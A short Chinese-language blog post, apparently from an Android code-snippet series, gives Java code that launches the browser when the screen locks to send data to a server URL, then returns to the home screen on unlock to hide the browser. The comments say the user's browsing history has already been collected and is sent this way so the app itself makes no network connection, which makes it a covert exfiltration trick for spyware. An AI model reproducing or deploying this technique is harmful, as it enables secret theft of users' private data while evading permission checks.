android典型程式碼系列(二十七)------鎖屏開啟瀏覽器傳資料,解屏最小化瀏覽器

fandong12388發表於2015-12-06

32_鎖屏開啟瀏覽器傳資料,解屏最小化瀏覽器
1.鎖屏之後啟動瀏覽器並上傳資料

            System.out.println("螢幕鎖定");
            //已經獲取了使用者的瀏覽器的訪問記錄 ,通過瀏覽器上傳資料到伺服器而不是在程式碼中通過
            //httpconnection的方式傳遞
            Intent uploadintent = new Intent();
            uploadintent.setAction(Intent.ACTION_VIEW);
            uploadintent.addCategory(Intent.CATEGORY_BROWSABLE);
            Random random = new Random();
            int number = random.nextInt(1000);
             uploadintent.setData(Uri.parse("http://192.168.1.247:8080/web/servlet/UploadServlet?info="+"youku"+number));
            //在服務裡面開啟activity 需要給activity建立一個新的任務棧
            uploadintent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            startActivity(uploadintent);

2.解屏之後將瀏覽器最小化:

System.out.println("螢幕解鎖");
            // 螢幕解鎖的時候最小化瀏覽器,殺死瀏覽器的時候需要許可權,參考桌面原始碼的的清單檔案
            Intent homeintent = new Intent();
            homeintent.setAction("android.intent.action.MAIN");
            homeintent.addCategory("android.intent.category.HOME");
            homeintent.addCategory("android.intent.category.DEFAULT");
            homeintent.addCategory("android.intent.category.MONKEY");
            homeintent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            startActivity(homeintent);

相關文章